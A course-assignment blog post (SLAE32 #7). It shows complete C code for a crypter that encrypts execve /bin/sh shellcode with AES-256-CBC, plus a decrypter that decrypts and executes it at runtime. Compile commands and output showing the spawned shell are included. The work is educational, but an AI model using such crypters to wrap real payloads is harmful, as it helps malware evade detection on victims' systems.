Post

SLAE32 - Assignment #7 - Custom Crypter

Introduction

This is the blog post for the 7th and final Assignment of the SLAE32 course, which is offered by PentesterAcademy. The course focuses on teaching the basics of 32-bit Assembly language for the Intel Architecture (IA-32) family of processors on the Linux platform.

The purpose of this assignment is to encrypt the shellcode with an existing encryption schema and decrypt and execute it at runtime. The algorithm that was used is AES and the key length is 256 bits (32 bytes). The block cipher mode used for AES is CBC (cipher-block chaining), which perfmorms XOR between the first plaintext block and the initialization vector before encrypting it. The implementation of AES can be found at this great repository: Tiny AES in C.

My code can be found in my Github: geobour98’s Github.

AES256 Crypter

In order to implement the crypter we need to download the following 2 files from the Tiny AES in C repository: aes.c and aes.h. By default, AES128 is used, but there are options for AES192 and AES256. The only changes that we have to do to use AES256 are to comment the definition of AES128 and uncomment the definition of AES256, as shown below in aes.h:

1
2
3
//#define AES128 1
//#define AES192 1
#define AES256 1

The encryption happens on the shellcode extracted from execve-stack, which is described in previous blog posts and basically executes “/bin/sh”. It and can be found below:

1
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

So, now the above shellcode is declared in the crypter program aesencrypt.c. It is very important to note that since we are using 32 byte blocks, then the size of the shellcode must be padded until we reach 32 bytes. The size of the original shellcode is 25, so we need 7 more bytes that don’t affect the functionality of the shellcode. That’s why we pad the shellcode with NOP (\x90) instructions. So, the shellcode becomes:

1
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90\x90\x90

Next, the 32 byte (256-bit) encryption key and the 16 byte initialization vector are declared.

1
2
	unsigned char key[] = "0123456789abcdef0123456789abcdef";
	unsigned char iv[] = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10";

After that, we use the provided API to initialize the calling context with AES_init_ctx_iv and start encrypting with AES_CBC_encrypt_buffer.

1
2
3
	struct AES_ctx ctx;
	AES_init_ctx_iv(&ctx, key, iv);
	AES_CBC_encrypt_buffer(&ctx, code, shellcodeSize);

Then, we simple print the encrypted shellcode.

1
2
3
	for (int i = 0; i < shellcodeSize - 1; i++) {
		printf("\\x%02x", code[i]);
	}

Also, we must include aes.h in aesencrypt.c in order to use the functions AES_init_ctx_iv and AES_CBC_encrypt_buffer and define the CBC mode.

1
2
#include "aes.h"
#define CBC 1

The whole C program can be found below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <string.h>
#include "aes.h"
#define CBC 1

unsigned char code[] = 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90\x90\x90";

int main()
{
	size_t shellcodeSize = sizeof(code);

	unsigned char key[] = "0123456789abcdef0123456789abcdef";
	unsigned char iv[] = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10";

	struct AES_ctx ctx;
	AES_init_ctx_iv(&ctx, key, iv);
	AES_CBC_encrypt_buffer(&ctx, code, shellcodeSize);

	printf("AES Encrypted Shellcode: \n");

	for (int i = 0; i < shellcodeSize - 1; i++) {
		printf("\\x%02x", code[i]);
	}

	printf("\n");
}

AES256 Decrypter

The generation of the encrypted shellcode will be shown later, but we assume it’s the following:

1
\x11\xe8\xc6\x6a\x68\x79\x1e\x39\x20\xd9\xde\x1d\xfe\x08\x76\xec\xb4\x11\x2d\x59\xcd\xd8\xca\x5e\x61\x09\xba\xf2\x23\x3b\x44\x1e

So, now the above shellcode is declared in the decrypter program aesdecrypt.c.

Again, we declare the encryption key and the initialization vector as previously. The initialization of the calling context happens again with AES_init_ctx_iv and the decryption starts with AES_CBC_decrypt_buffer.

1
2
3
	struct AES_ctx ctx;
	AES_init_ctx_iv(&ctx, key, iv);
	AES_CBC_decrypt_buffer(&ctx, code, shellcodeSize);

Then, the decrypted shellcode is printed to the screen and gets executed.

1
2
3
	int (*ret)() = (int(*)())code;

    ret();

The whole C program can be found below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <string.h>
#include "aes.h"
#define CBC 1

unsigned char code[] = 
"\x11\xe8\xc6\x6a\x68\x79\x1e\x39\x20\xd9\xde\x1d\xfe\x08\x76\xec\xb4\x11\x2d\x59\xcd\xd8\xca\x5e\x61\x09\xba\xf2\x23\x3b\x44\x1e";

int main()
{
	size_t shellcodeSize = sizeof(code);

	unsigned char key[] = "0123456789abcdef0123456789abcdef";
	unsigned char iv[] = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10";

	struct AES_ctx ctx;
	AES_init_ctx_iv(&ctx, key, iv);
	AES_CBC_decrypt_buffer(&ctx, code, shellcodeSize);

	printf("Decrypted Shellcode: \n");

	for (int i = 0; i < shellcodeSize - 1; i++) {
		printf("\\x%02x", code[i]);
	}

	printf("\n\nExecuting Shellcode...\n");

	int (*ret)() = (int(*)())code;

        ret();
}

Testing Crypter/Decrypter

In order to prove that the processes of encryption and decryption happen and the shellcode gets executed we first have to compile aes.c and aesencrypt.c to create the aesencrypt executable.

1
geobour98@slae32-dev:~/SLAE/custom/SLAE32/7_Custom_crypter$ gcc aesencrypt.c aes.c -o aesencrypt

Then, we execute aesencrypt and get the AES encrypted shellcode:

1
2
3
geobour98@slae32-dev:~/SLAE/custom/SLAE32/7_Custom_crypter$ ./aesencrypt 
AES Encrypted Shellcode: 
\x11\xe8\xc6\x6a\x68\x79\x1e\x39\x20\xd9\xde\x1d\xfe\x08\x76\xec\xb4\x11\x2d\x59\xcd\xd8\xca\x5e\x61\x09\xba\xf2\x23\x3b\x44\x1e

This is the encrypted shellcode that goes to aesdecrypt.c. Now we compile aesdecrypt.c and aes.c to generate aesdecrypt, by disabling the stack protection as well as making the stack executable:

1
geobour98@slae32-dev:~/SLAE/custom/SLAE32/7_Custom_crypter$ gcc -fno-stack-protector -z execstack aesdecrypt.c aes.c -o aesdecrypt

Finally, we execute aesdecrypt and get in a “/bin/sh” shell, where we execute commands like ls and id.

1
2
3
4
5
6
7
8
9
10
geobour98@slae32-dev:~/SLAE/custom/SLAE32/7_Custom_crypter$ ./aesdecrypt 
Decrypted Shellcode: 
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90\x90\x90

Executing Shellcode...
$ ls
aes.c  aes.h  aesdecrypt  aesdecrypt.c	aesencrypt  aesencrypt.c  compile.sh
$ id
uid=1000(geobour98) gid=1000(geobour98) groups=1000(geobour98),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$

Summary

The encryption/decryption processes and the shellcode are working as expected!

This sums up the SLAE32 exam!

The training and the challenges are great and i hope i can get my hands on SLAE64 soon!

SLAE32 Blog Post

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

https://www.pentesteracademy.com/course?id=3

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-36167

This post is licensed under CC BY 4.0 by the author.